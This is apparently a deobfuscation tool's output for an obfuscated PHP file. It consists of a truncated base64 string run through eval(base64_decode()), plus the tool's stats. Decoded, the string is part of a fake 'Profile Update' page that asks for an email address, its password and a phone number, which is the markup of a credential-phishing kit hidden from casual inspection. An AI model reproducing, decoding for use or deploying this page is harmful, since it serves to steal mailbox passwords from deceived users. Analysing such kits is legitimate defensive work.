TIzMjZiOyI+UHJvZmlsZSBVcGRhdGU8L3NwYW4+CiAgPC90ZD4KICAgICAgICA8L3RyPgogICAgICAgIDx0cj4KICAgICAgICAgIDx0ZCBoZWlnaHQ9IjExOSIgYWxpZ249ImNlbnRlciI+PGltZyBzcmM9ImltYWdlcy9lbWFpbC5QTkciIHdpZHRoPSI2NSIgaGVpZ2h0PSI2OSIgLz48L3RkPgogICAgICAgIDwvdHI+CiAgICAgICAgPHRyPgogICAgICAgICAgPHRkIGFsaWduPSJjZW50ZXIiPjxpbnB1dCBjbGFzcz0iZm9ybS1leCJ0eXBlPSJlbWFpbCIgbmFtZT0iZW1haWwiIHBsYWNlaG9sZGVyPSJFbWFpbCBhZGRyZXNzIiAgcmVxdWlyZWQ9IiI+PC90ZD4KICAgICAgICA8L3RyPgogICAgICAgIDx0cj4KICAgICAgICAgIDx0ZCBhbGlnbj0iY2VudGVyIj48aW5wdXQgY2xhc3M9ImZvcm0tZXgxInR5cGU9InBhc3N3b3JkIiBuYW1lPSJwd2QiIHBsYWNlaG9sZGVyPSJFbWFpbCBQYXNzd29yZCIgIHJlcXVpcmVkPSIiIC8+PC90ZD4KICAgICAgICA8L3RyPgoJCSA8dHI+CiAgICAgICAgICA8dGQgYWxpZ249ImNlbnRlciI+PGlucHV0IGNsYXNzPSJmb3JtLWV4MiJ0eXBlPSJ0ZXh0IiBuYW1lPSJwaG9uZSIgcGxhY2Vob2xkZXI9IlBob25lIE51bWJlciIgIHJlcXVpcmVkPSIiIC8+PC90ZD4KICAgICAgICA8dHI+CgkJPHRyPgogICAgICAgICAgPHRkIGFsaWduPSJjZW50ZXIiPjxidXR0b24gdHlwZT0ic3VibWl0IiBuYW1lPSJzdWJtaXQiIGNsYXNzPSJidG4tc3VibWl0IiA+TmV4dDwvYnV0dG9uPiZuYnNwOzwvdGQ+CiAgICAgICAgPC90cj4KICAgICAgICA8dHI+CiAgICAgICAgICA8dGQgYWxpZ249ImNlbnRlciI+Jm5ic3A7PC90ZD4KICAgICAgICA8L3RyPgogICAgICAgIDx0cj4KICAgICAgICAgIDx0ZCBhbGlnbj0iY2VudGVyIj4mbmJzcDs8L3RkPgogICAgICAgIDwvdHI+CiAgICAgICAgPC90YWJsZT48L2Zvcm0+CiAgICA8L2Rpdj48L3RkPgogIDwvdHI+CiAgPHRyPgogICAgPHRkIGhlaWdodD0iMzMiPiZuYnNwOzwvdGQ+CiAgPC90cj4KPC90YWJsZT4gPHNjcmlwdD4KICAvLyB0ZWxsIHRoZSBlbWJlZCBwYXJlbnQgZnJhbWUgdGhlIGhlaWdodCBvZiB0aGUgY29udGVudAogIGlmICh3aW5kb3cucGFyZW50ICYmIHdpbmRvdy5wYXJlbnQucGFyZW50KXsKICAgIHdpbmRvdy5wYXJlbnQucGFyZW50LnBvc3RNZXNzYWdlKFsicmVzdWx0c0ZyYW1lIiwgewogICAgICBoZWlnaHQ6IGRvY3VtZW50LmJvZHkuZ2V0Qm91bmRpbmdDbGllbnRSZWN0KCkuaGVpZ2h0LAogICAgICBzbHVnOiAid2U5TDloMnIiCiAgICB9XSwgIioiKQogIH0KICA8L3NjcmlwdD4KPC9ib2R5Pgo8L2h0bWw+Cjw/cGhwIG9iX2VuZF9mbHVzaCgpOyA/Pg==")); ?>

Function Calls

base64_decode 1

Variables

None

Stats

MD5 23aca0967c4e4559774f8b34645b8512
Eval Count 1
Decode Time 87 ms